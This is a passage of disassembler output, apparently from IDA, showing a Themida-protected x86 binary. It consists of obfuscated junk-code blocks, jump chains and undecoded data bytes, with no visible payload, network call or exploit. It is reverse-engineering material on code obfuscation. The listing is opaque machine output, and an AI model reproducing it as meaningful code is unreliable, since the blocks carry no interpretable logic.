		dd 4CE981D1h, 812FDC1Ch, 347ED0C1h, 59CA217Ch, 0FFA67DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C565:				; CODE XREF: Themida_:0054826Cj
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_54A623
; ---------------------------------------------------------------------------
aD0Fxsfs	db '°„0ÇfXéfS',0
		dw 6800h
		dd 7F87h, 2DCCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C58D:				; CODE XREF: Themida_:0054FFC4j
		push	ebx
		jmp	loc_54705F
; ---------------------------------------------------------------------------
		db 29h
		dd 0EE815AD6h, 2B8B5942h, 4EC81h, 34890000h, 6824h, 0E95E0000h
		dd 0FFFFD086h, 89665B66h, 0DB0FE9CFh, 0E689FFFFh, 24CAE9h
		dd 0FBBD5500h, 0C13E8E77h, 0EE902E5h, 57FFFFC8h, 2AD6E9h
		dd 148B6600h, 0A487E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C5DE:				; CODE XREF: Themida_:0054E638j
		add	ebx, 26075293h
		sub	ebx, eax
		sub	ebx, 26075293h
		add	ebx, 67CC47ABh
		push	esi
		mov	esi, 30260C43h
		xor	esi, 41943C16h
		shl	esi, 2
		push	ecx
		mov	ecx, 45B226C2h
		or	esi, ecx
		pop	ecx
		shl	esi, 5
		inc	esi
		xor	esi, 0F28FEA22h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_5500D0
; ---------------------------------------------------------------------------


loc_54C624:				; CODE XREF: Themida_:0054EEBAj
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebx, 6F1513DDh
		sub	ebx, edx
		push	ecx
		mov	ecx, 6F1513DDh
		sub	ebx, ecx
		pop	ecx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_54FA9F
; ---------------------------------------------------------------------------


loc_54C654:				; CODE XREF: Themida_:0054DE13j
		mov	esp, [esp]
		sub	al, 0B8h
		add	al, 0Fh
		sub	al, 0C6h
		sub	al, ch
		add	al, 0C6h
		jmp	loc_549BD7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 1C870000h, 1C335C24h, 241C3124h, 3931E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C681:				; CODE XREF: Themida_:0054F22Fj
		add	esp, 4
		jmp	loc_54CF58
; ---------------------------------------------------------------------------
		dd 5BACC581h, 0EF092A33h, 0FFF181E9h, 2434FFFFh, 0FFA9DCE9h
		dd 99B252FFh, 0C047EA80h, 0CAFE07E2h, 80A7E280h, 0D1889FEAh
		dd 5CA1E95Ah, 0D8280000h, 0FFA8B8E9h, 24048FFFh, 0FF9B41E9h
		dd 4FF781FFh, 810F432Ch, 0B51F2CF7h, 5FF82958h,	9A6ADF2Dh
		dd 52ACE97Fh, 1C870000h, 0EB815C24h, 4,	8B241C87h, 14892424h
		dd 0C6BCE924h, 0EFC0FFFFh, 80CFFE02h, 0F8281DEFh, 4D8285Bh
		dd 57B151FDh, 0FFAD7FE9h, 45F381FFh, 0E9042804h, 0FFFFD3B6h
		dd 405E089h, 83000000h,	43304E8h, 24043124h, 0E9240433h
		dd 20Ah
; ---------------------------------------------------------------------------


loc_54C734:				; CODE XREF: Themida_:0054FFD0j
		add	esp, 4
		push	small 4A3Fh
		mov	[esp], ax
		push	edx
		mov	dh, 0F4h
		push	ebx
		mov	bl, dh
		mov	al, bl
		pop	ebx
		jmp	loc_54A427
; ---------------------------------------------------------------------------
		dd 2F1A0EBEh, 5E3AE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C75A:				; CODE XREF: Themida_:00551FCBj
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_54AEB6
; ---------------------------------------------------------------------------


loc_54C771:				; CODE XREF: Themida_:00550C67j
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55193D
; ---------------------------------------------------------------------------


loc_54C77F:				; CODE XREF: Themida_:0054ADF1j
		sub	ebx, eax
		push	esi
		mov	esi, 50267858h
		not	esi
		jmp	loc_548942
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 9506818h, 0E983CD87h, 45CD87FFh, 0FFE0A0E9h,	0D7015AFFh
		dd 230DC781h, 34FF1A62h, 0C4835A24h, 243C8704h,	124248Bh
		dd 0E99C2404h, 280Dh, 240C8B66h, 0FFB306E9h, 4EC83FFh
		dd 0B8240489h, 65F556A7h, 34FFC131h, 24048B24h,	4C481h
		dd 98E90000h, 0B6FFFFBCh, 232CB0h, 0BD4E9F0h, 0C8B0000h
		dd 4C48124h, 81000000h,	4C1h, 7CA6800h,	1C890000h, 2BB24h
		dd 0D9290000h, 5BAAE9h,	0C9815800h, 622210F7h, 25E2BB53h
		dd 0F381194Bh, 4BF6063Eh, 525BD901h, 0CF4812BAh, 8BD1319Bh
		dd 0C4832414h, 583B2D04h, 0C8296F1Bh, 1B583B05h, 240C8B6Fh
		dd 6804C483h, 0B20h, 3780E9h, 240C3300h, 0FFB4D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C85D:				; CODE XREF: Themida_:0055122Cj
		xor	ecx, 69277E6Eh
		add	ecx, 5B0058C9h
		jmp	loc_5523E7
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 2F87BD55h, 0D5F7026Ah, 0F706E5C1h, 0EDEE9DDh, 68560000h
		dd 552F1D9Bh, 0FFD079E9h, 48B66FFh, 82E95624h, 0F700005Ah
		dd 0E99C241Ch, 0FFFF9966h, 5A66D028h, 704D828h,	0FFDDABE9h
		dd 4C0166FFh, 0B8E90224h, 5B00004Eh, 5D786E2Dh,	698A050Dh
		dd 0D0291AB3h, 0B3698A2Dh, 6EBD551Ah, 10D5D78h,	3CA0E9E8h
		dd 0ED810000h, 163C1CBAh, 81D5F758h, 0BE3959CDh, 0E1C58155h
		dd 504FBA4Eh, 5B146BB8h, 0E9C5215Fh, 0FFFFE75Bh
; ---------------------------------------------------------------------------


loc_54C8FC:				; CODE XREF: Themida_:00548A8Dj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55236B
; ---------------------------------------------------------------------------


loc_54C907:				; CODE XREF: Themida_:005487F1j
		pop	esi
		jmp	loc_551F6E
; ---------------------------------------------------------------------------


loc_54C90D:				; CODE XREF: Themida_:0054E24Cj
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_54FEF2
; ---------------------------------------------------------------------------
		dw 0C589h
		dd 8324048Bh, 0D5F704C4h, 0D104EDC1h, 0A3C581EDh, 55FA8FBBh
		dd 84CD4BDh, 14BE93Dh, 895C0000h, 5E542434h, 2D33E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C94A:				; CODE XREF: Themida_:00548209j
		mov	esi, edx
		pop	edx
		push	ecx
		jmp	loc_548EC5
; ---------------------------------------------------------------------------
		db 0FFh
a4Sea		db '4$éeA',0
		dw 6400h
		dd 0A7E9028Fh
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C963:				; CODE XREF: Themida_:005517B9j
		add	esp, 4
		jmp	loc_54ECC0
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 4C3815Fh, 87000000h,	8F5C241Ch, 248B2404h, 0C8856624h
		dd 9880E99Ch, 8957FFFFh, 0B09DE9E7h, 0E2C0FFFFh, 0DECA8006h
		dd 0C053F280h, 0F28006E2h, 51F28021h, 83D8EA80h, 896602ECh
		dd 82E92414h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C9B3:				; CODE XREF: Themida_:0054D109j
		jnz	loc_5493AB
		push	ebp
		push	edx
		mov	edx, 7A7777B9h
		inc	edx
		xor	edx, 1D3C2189h
		mov	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	40831422h
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0FFFFFFFFh
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_549385
; ---------------------------------------------------------------------------
		dd 0FF9811E9h, 240C33FFh, 24048F5Ch, 0E924248Bh, 3E8Ch
		dd 36D1C381h, 4DE96DB9h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA13:				; CODE XREF: Themida_:0054748Bj
		mov	ecx, eax
		jmp	loc_547AC9
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 0FFCBD9E9h, 0E9DE30FFh, 4C1Dh, 8359CA01h, 148704EAh
		dd 0C895C24h, 91E95724h, 8300001Eh, 98E904C3h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CA43:				; CODE XREF: Themida_:0054D6FBj
		push	edx
		mov	dl, 2Ch
		xor	dl, 0D4h
		inc	dl
		jmp	loc_54CAB1
; ---------------------------------------------------------------------------
		dd 2D5BD801h, 4, 0E9240487h, 0FFFFD4B0h, 0E9028F66h, 0FFFF97A2h
		dd 0B60F665Ah, 52686600h, 4896614h, 9790E924h, 0EB81FFFFh
		dd 4, 5C241C87h, 1DB9E9h, 7CE58100h, 8132354Ah,	0D34B6BEDh
		dd 2E5C14Ah, 5B6E9h, 4C38100h, 0E9000000h, 10EBh, 0D8001604h
		dd 0FFB259E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CAB1:				; CODE XREF: Themida_:0054CA4Bj
		or	dl, 0A5h
		xor	dl, 4Ch
		xor	ch, dl
		pop	edx
		or	dl, ch
		pop	ecx
		jmp	loc_54AB4B
; ---------------------------------------------------------------------------
aXsq7		db 'XéQ7',0
		align 4


loc_54CAC8:				; CODE XREF: Themida_:00547B8Fj
		push	ebp
		jmp	loc_548640
; ---------------------------------------------------------------------------
		dw 7168h
		dd 0E900005Ch, 2A80h, 4EC81h, 34890000h, 0E0E95324h, 50FFFFDAh
		dd 0FFBC94E9h, 5AD789FFh, 114EE981h, 0E981147Ah, 15BE38DDh
		dd 0C181F901h, 15BE38DDh, 114EBD55h, 0E901147Ah, 0D7F7E95Dh
		dd 8B58FFFFh, 240C8B01h, 4C481h, 56520000h, 1BEh, 148B5600h
		dd 5947E924h, 0FABD0000h, 0E960EB52h, 16DBh, 2434FF54h
		dd 0E1895159h, 4BA52h, 0D1010000h, 39E9h, 0EA805800h, 8BD030D2h
		dd 0C4832414h, 0E9C33004h, 2F94h, 0BD242C89h, 4, 2C8BEA01h
		dd 4C48324h, 4C281h, 14870000h,	0C3315C24h, 692768h, 0ACFAE900h
		dd 505AFFFFh, 0FFEA6AE9h, 0F9F381FFh, 8155AB49h, 0EA02CC3h
		dd 5BDF8993h, 9EE9F801h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CBA3:				; CODE XREF: Themida_:00548664j
					; Themida_:loc_54DD0Dj	...
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54AF1E
; ---------------------------------------------------------------------------


loc_54CBAE:				; CODE XREF: Themida_:00551238j
		mov	ecx, 4
		sub	edi, ecx
		jmp	loc_54AC87
; ---------------------------------------------------------------------------
		dw 0D42Dh
		dd 0E9081B2Fh, 35FBh, 27F4EB81h, 0FB0160FCh, 3CCCE9h, 2434FF00h
		dd 8B2434FFh, 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 0FFECE6E9h, 4BAFFh, 0EF810000h, 249145C5h, 0BB53D701h
		dd 46707192h, 0FFA4ECE9h, 58C209FFh, 29C968h, 24048900h
		dd 0FFD2A9E9h, 36E956FFh, 8100001Bh, 4C4h, 95E0E900h, 0F66FFFFh
		dd 0D6E900B6h, 8FFFFFD0h, 895C2404h, 12E92414h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CC3F:				; CODE XREF: Themida_:0054BA40j
		shl	esi, 1
		shr	esi, 6
		add	esi, 303B3D9Fh
		jmp	loc_54CDF1
; ---------------------------------------------------------------------------
		db 2Dh
		dd 402A710Fh, 207EEF81h, 0A4E91450h, 83FFFFAFh,	67E9FFEAh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54CC67:				; CODE XREF: Themida_:00547972j
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	5515h
		mov	[esp], ebp
		jmp	loc_54B217
; ---------------------------------------------------------------------------
aS2		db 'ÑêéÇ2',0
		dd 38B85000h, 0BE20F705h, 0DF08FAC8h, 8958C601h, 348B3872h
		dd 0DFE95624h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CCA7:				; CODE XREF: Themida_:00547CB2j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_550C8B
; ---------------------------------------------------------------------------


loc_54CCB3:				; CODE XREF: Themida_:0054ACC4j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54819B
; ---------------------------------------------------------------------------
		dd 5BF98859h, 0BA52h, 0EA810000h, 6507785h, 0C281DA01h
		dd 6507785h, 7DE90A88h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CCDF:				; CODE XREF: Themida_:005528A7j
		push	edi
		not	dword ptr [esp]
		jmp	loc_549DE6
; ---------------------------------------------------------------------------
		dd 0E9243C31h, 0C25h
; ---------------------------------------------------------------------------


loc_54CCF0:				; CODE XREF: Themida_:005517D4j
		mov	ch, bl
		pop	ebx
		mov	ah, ch
		pop	ecx
		sub	bl, ah
		pop	ax
		sub	esp, 2
		mov	[esp], dx
		push	eax
		mov	ah, 52h
		jmp	loc_54B0DE
; ---------------------------------------------------------------------------
		dd 24048B66h, 6EB268h, 240C8900h, 0FFFE1BE9h, 0E0CB80FFh
		dd 2C12EB80h, 0E9D8282Ch, 0FFFFD9CCh, 31240C33h, 0C33240Ch
		dd 24248B24h, 0FF2434FFh, 815A2434h, 4C4h, 5E545600h, 0FFC08AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD4D:				; CODE XREF: Themida_:0054F643j
		or	ebp, edi
		pop	edi
		and	ebp, 59FE6530h
		xor	ebp, 48984434h
		push	edx
		mov	edx, ebp
		mov	eax, edx
		pop	edx
		pop	ebp
		add	eax, edi
		add	[eax], ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54E03E
; ---------------------------------------------------------------------------
		dd 9C240409h, 0FF9491E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD79:				; CODE XREF: Themida_:0054ABBFj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_548A3F
; ---------------------------------------------------------------------------
		dd 0C8BCD31h, 4C48124h,	81000000h, 2B4E4EC5h, 238A2DFCh
		dd 0E8290C7Fh, 7F238A05h, 0C3815D0Ch, 60F4564h,	0C7EEB81h
		dd 0BA52594Ch, 56726B4Ah, 815AD329h, 0A6347BC3h, 9BC38178h
		dd 1456B33h, 9BEB81C3h,	51456B33h, 963422B9h, 1ACEE975h
		dd 81B90000h, 0E93FD441h, 51F0h, 37DFBE56h, 0F2317CB1h
		dd 4EC835Eh, 0FFBD9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CDF1:				; CODE XREF: Themida_:0054CC4Aj
		xor	esi, 55D791E4h
		xor	edx, esi
		pop	esi
		push	312Dh
		mov	[esp], esi
		mov	esi, 25541A37h
		sub	esi, 0C029EBBCh
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 31C06BF8h
		shr	eax, 8
		xor	eax, 54324165h
		shl	eax, 3
		neg	eax
		shr	eax, 7
		add	eax, 6E0C62C4h
		xor	edx, eax
		pop	eax
		push	edx
		jmp	loc_551C07
; ---------------------------------------------------------------------------
		dd 69BFBD55h, 0EE215D61h, 5052555Dh, 7A59C568h,	24048B05h
		dd 4C481h, 0CA0D0000h, 0D39C443h, 51721E5Dh, 0AB7C0935h
		dd 58C28960h, 4202E2C1h, 3BD8F281h, 30E94ECEh, 66FFFFB9h
		dd 68240C8Bh, 3A74h, 367CE9h, 24348700h, 0FF24248Bh, 34FF2434h
		dd 2434FF24h, 0FD6859h,	2C890000h, 81E58924h, 4C5h, 4C58300h
		dd 0FFC35CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CEAD:				; CODE XREF: Themida_:005487C6j
		shr	ecx, 6
		push	3493h
		mov	[esp], edx
		mov	edx, ebx
		push	edx
		push	4479h
		mov	[esp], edi
		push	ebp
		mov	ebp, 3DA11B93h
		jmp	loc_5515B0
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 2EEA8106h, 31566332h, 2434FFD0h, 8124148Bh, 4C4h, 0E3895300h
		dd 4C381h, 93680000h, 8900005Eh, 8BE92404h, 81000021h
		dd 0BF039AC3h, 51536629h, 0F669B450h, 0E8C480DCh, 2687E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CF12:				; CODE XREF: Themida_:00550009j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jnz	loc_54E699
		push	edi
		mov	edi, 4991617Bh
		push	ebx
		mov	ebx, 76080DBCh
		sub	ebx, 76080DBDh
		sub	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 72D95F22h
		neg	ecx
		or	ecx, 172D4391h
		not	ecx
		inc	ecx
		push	ebp
		jmp	loc_54E593
; ---------------------------------------------------------------------------


loc_54CF52:				; CODE XREF: Themida_:0054BA1Aj
		push	ebp
		jmp	loc_5497B9
; ---------------------------------------------------------------------------


loc_54CF58:				; CODE XREF: Themida_:0054C687j
		pop	ecx
		sub	al, bh
		pop	bx
		jmp	loc_54DACF
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 0C8704C1h, 0C4815C24h, 4, 0FF9295E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CF75:				; CODE XREF: Themida_:00550A82j
		pop	edi
		push	ebp
		jmp	loc_54864A
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 310Bh, 4240481h,	59000000h, 5B05BF57h, 0F7815914h
		dd 670D6B81h, 3080F781h, 0F9013E19h, 0FFB269E9h, 240C89FFh
		dd 60433CB9h, 32E95335h, 83000028h, 148904ECh, 8095B224h
		dd 0F2804DF2h, 0A917E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CFC6:				; CODE XREF: Themida_:00550ED4j
		add	esp, 4
		push	esi
		push	ecx
		push	26352735h
		pop	ecx
		push	ecx
		jmp	loc_54A448
; ---------------------------------------------------------------------------
		db 68h
		dd 5EF03334h, 0FFA33DE9h, 24148BFFh, 6804C483h,	7CA8h
		dd 0FF243C89h, 5F042474h, 8B24048Fh, 0F7662424h, 0EC8151F9h
		dd 4, 81242489h, 42404h, 0DFE90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D013:				; CODE XREF: Themida_:005527AEj
		sub	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_548AA6
; ---------------------------------------------------------------------------
		dd offset loc_420F68
		dw 0E900h
		dd 0FFFFC4A6h, 0E4E4E95Ah, 0E789FFFFh, 4C781h, 0C7830000h
		dd 41A2E904h, 0C890000h, 2474FF24h, 48F5904h, 89665C24h
		dd 0A9E92404h, 81000034h, 0C3CB2AEDh, 3E45E98Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D05E:				; CODE XREF: Themida_:0054EC3Cj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55017E
; ---------------------------------------------------------------------------


loc_54D06D:				; CODE XREF: Themida_:0054B8F0j
		add	esp, 4
		inc	dword ptr [esp]
		pushf
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		db 5Ah,	0F7h, 0D7h
		dd 8108EFC1h, 83E5EFC7h, 5FFA017Dh, 57095B5Dh, 77E95A1Ch
		dd 8BFFFF91h, 6FE92424h, 8BFFFF91h, 94682424h, 89000076h
		dd 0F268240Ch, 89000044h, 0E9532404h, 420Ah, 5E2434FFh
		dd 0E9E28952h, 35A3h, 0F8E9C701h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D0C7:				; CODE XREF: Themida_:0054D9ACj
		sub	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54EAAB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C28105E2h, 31C7A27Ah, 15AD731h, 243C8BF8h, 6804C483h
		dd 5003h, 0FF9FABE9h, 0B6E957FFh
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D0FB:				; CODE XREF: Themida_:0054E98Cj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_54C9B3
; ---------------------------------------------------------------------------


loc_54D10E:				; CODE XREF: Themida_:005489EDj
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 6AAD6D3Ah
		not	edi
		jmp	loc_54AB3F
; ---------------------------------------------------------------------------
		dd offset dword_445750+9218h
		dd 24148900h, 42474FFh,	6824148Bh, 5CCBh, 54243489h, 4C6815Eh
		dd 83000000h, 348704C6h, 0C5E95C24h, 5000020h, 4, 4EC81h
		dd 3C890000h, 2BF24h, 0F8010000h, 3283E95Fh, 0BBE0000h
		dd 291E7C2Ch, 99D1E9F0h, 2C89FFFFh, 922EE924h, 0F380FFFFh
		dd 4E104D6h, 2CD8288Eh,	0FFE12C8Eh, 0E95B2434h,	0FFFFACC4h
		dd 4240483h, 1ABF575Bh,	8127BF63h, 0E22B36CFh, 4EC8375h
		dd 0BE243489h, 0FFFFFFFFh, 64E9F729h, 0FFFFFFD5h, 53582434h
		dd 0E2E9E389h, 58000026h, 405h,	4C08300h, 31240433h, 67E92404h
		dd 1FFFFF0h, 0C58359CDh, 242C8702h, 6624248Bh, 0E924048Bh
		dd 0CF4h, 81240401h, 2DCC2404h,	466853D2h, 89000050h, 0BE56241Ch
		dd 550D1CFDh, 0E95EF389h, 0FFFFA6B2h, 56240489h, 291E7668h
		dd 0C6815E53h, 0ACD6E18Bh, 201EE9h, 59CF2900h, 2570E957h
		dd 0C4810000h, 4, 8904EC83h, 0E0892404h, 405h, 1DBB5300h
		dd 0E96D372Bh, 0FFFFE753h, 4EC81h, 53E90000h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D24F:				; CODE XREF: Themida_:0054BCEFj
					; Themida_:0054F82Fj
		push	ebx
		push	ebx
		mov	ebx, 5ED9410Bh
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_54F90B
; ---------------------------------------------------------------------------


loc_54D26C:				; CODE XREF: Themida_:0054B0E1j
		sub	bl, dh
		pop	dx
		xor	al, bl
		mov	bx, [esp]
		add	esp, 2
		push	5C0h
		jmp	loc_54EB8B
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7407C89h, 0FFD7A0E9h, 2434FFFFh, 4C4815Fh, 56000000h
		dd 7356851h, 815952D2h,	0D20731F1h, 59CE8952h, 815EF701h
		dd 4EFh, 243C8700h, 3EA5E95Ch, 0FB010000h, 0EE59E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D2C6:				; CODE XREF: Themida_:0054BDE7j
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		push	1058h
		mov	[esp], ebp
		push	eax
		push	ebx
		pop	eax
		mov	ebp, eax
		jmp	loc_5489B6
; ---------------------------------------------------------------------------
		dw 0C800h
		dd offset dword_5497CC+1Dh
		dd 0E9516600h, 0FFFFB47Bh, 5A2434FFh, 0B6768h, 243C8900h
		dd 0B968E789h, 89000009h, 31BD242Ch, 0E96A3E76h, 4B0Dh
		dd 5255525Ah, 242DD868h, 0E2815A5Fh, 28EE43B0h,	874EEA81h
		dd 0D589A2C8h, 0E538BA5Ah, 1DE90D57h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_54D343:				; CODE XREF: Themida_:0054921Dj
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_54A674
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0E9D03010h, 1A2Bh, 0E9505153h, 48E4h, 66E9EA01h, 81000040h
		dd 0F5C257C3h, 0E9D83100h, 0FFFFB09Fh, 6F76BD55h, 454D7A8Fh
		dd 6C4CC581h, 0ED814D63h, 4C077F9Ah, 0F797FD87h, 0FD8797D0h
		dd 0A3D3ED81h, 0EF018414h, 2C7815Dh, 57000000h,	42474FFh
		dd 24048F5Fh, 8424248Bh, 71E99CC8h, 1000045h, 20E8E9CFh
		dd 0F590000h, 48FC0B6h,	8E44E987h, 2304FFFFh, 0EC815A66h
		dd 4, 0E9240C89h, 0FFFF940Ah, 513BFABFh, 6EFC10Ch, 6973CF81h
		dd 0EF816BCBh, 60B71197h, 0FFFECDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D3F1:				; CODE XREF: Themida_:0054B444j
		push	ecx
		push	edx
		mov	dl, 0AAh
		mov	cl, dl
		pop	edx
		jmp	loc_5521E8
; ---------------------------------------------------------------------------


loc_54D3FD:				; CODE XREF: Themida_:0054F896j
		xchg	bh, cl
		jmp	loc_54E1A2
; ---------------------------------------------------------------------------
		dd 0F501D035h, 58C70175h, 3302C783h, 0D1E9243Ch, 81FFFFF8h
		dd 4C4h, 74FF5700h, 5FE90424h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D427:				; CODE XREF: Themida_:00548645j
		sub	ebp, 2C404172h
		shr	ebp, 5
		push	edi
		mov	edi, 56731731h
		xor	edi, 72D600E2h
		dec	edi
		jmp	loc_549D2B
; ---------------------------------------------------------------------------
		dw 6856h
		dd 15E09E1Ah, 0E9F1315Eh, 31A5h
; ---------------------------------------------------------------------------


loc_54D450:				; CODE XREF: Themida_:005527FDj
		pop	esp
		mov	[esp], eax
		jmp	loc_551BE8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aYsb		db 'Yé/',0
		align 2
		dw 0D828h
		dd 1C29E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D469:				; CODE XREF: Themida_:0054C1C8j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_547397
; ---------------------------------------------------------------------------


loc_54D478:				; CODE XREF: Themida_:0054AD1Fj
		pop	esp
		jmp	loc_5486A1
; ---------------------------------------------------------------------------
		dw 8141h
		dd 491B06F1h, 38F18120h, 1C9B5C6h, 0E95259CBh, 0FFFFA823h
		dd 0B186E953h, 0C481FFFFh, 4, 0E404C828h, 2D0BE9h, 3564BA00h
		dd 0D00156F5h, 4C35405Ah, 0E96D9526h, 0FFFFB949h
; ---------------------------------------------------------------------------


loc_54D4BC:				; CODE XREF: Themida_:0054808Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_548454
; ---------------------------------------------------------------------------


loc_54D4C7:				; CODE XREF: Themida_:0054FEF9j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 9E9477Bh
		jmp	loc_54903F
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFFFE83h, 7DA1C381h, 0C15A00DFh, 0C38107E3h
		dd 6A0C728Ah, 0E903E3C1h, 4CCAh, 6624248Bh, 0E99CC83Bh
		dd 0FFFF8D02h, 8B2434FFh, 0C4812414h, 4, 815A5452h, 4ECh
		dd 0F63EE900h, 0E8C1FFFFh, 3D960503h, 0C50173C1h, 5DE80158h
		dd 0ED67582Dh, 58C601C8h, 4C681h, 34870000h, 0B70F5C24h
		dd 0AB1BE9C8h, 0C181FFFFh, 78F86EA5h, 8CC18141h, 0C13C790Bh
		dd 0F18102E1h, 0E1AAAF41h, 3492C981h, 0D1F730D5h, 0FFC18141h
		dd 81FFFFFFh, 2985F9F1h, 59CA01F0h, 505AD301h, 0FFA68FE9h
		dd 88FC88FFh, 0B914E9E6h, 8B66FFFFh, 2568240Ch,	89000044h
		dd 58542404h, 0FFFBAEE9h, 240C8BFFh, 3068E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D5A5:				; CODE XREF: Themida_:00548F79j
		shr	esi, 5
		sub	esi, 22C0500Bh
		push	ebp
		mov	ebp, 6D01CC9h
		or	ebp, 134F39C5h
		shr	ebp, 1
		neg	ebp
		neg	ebp
		dec	ebp
		xor	ebp, 31768C1Ch
		sub	edx, ebp
		pop	ebp
		jmp	loc_54E429
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 4C78104h, 0E9000000h, 0FFFF9854h, 89533104h
		dd 0DCBA52E3h, 4A3D1B08h, 9B3F281h, 0C2810975h,	10591B13h
		dd 64C8CA81h, 0F28112CFh, 56CF7CFFh, 148BD301h,	4C48124h
		dd 83000000h, 1C8702EBh, 89665C24h, 53662414h, 88BAB151h
		dd 0E95059CFh, 0FFFFFF59h, 0B1EBE95Ch, 8B59FFFFh, 0C481242Ch
		dd 4, 2C281h, 14870000h, 24248B24h, 24048B66h, 50FE68h
		dd 24148900h, 3341E954h, 895C0000h, 148B2434h, 4C48324h
		dd 148BD789h, 0E9545724h, 0FFFFA01Bh
; ---------------------------------------------------------------------------


loc_54D66C:				; CODE XREF: Themida_:0054BC95j
		mov	ecx, [esp]
		push	7D5Bh
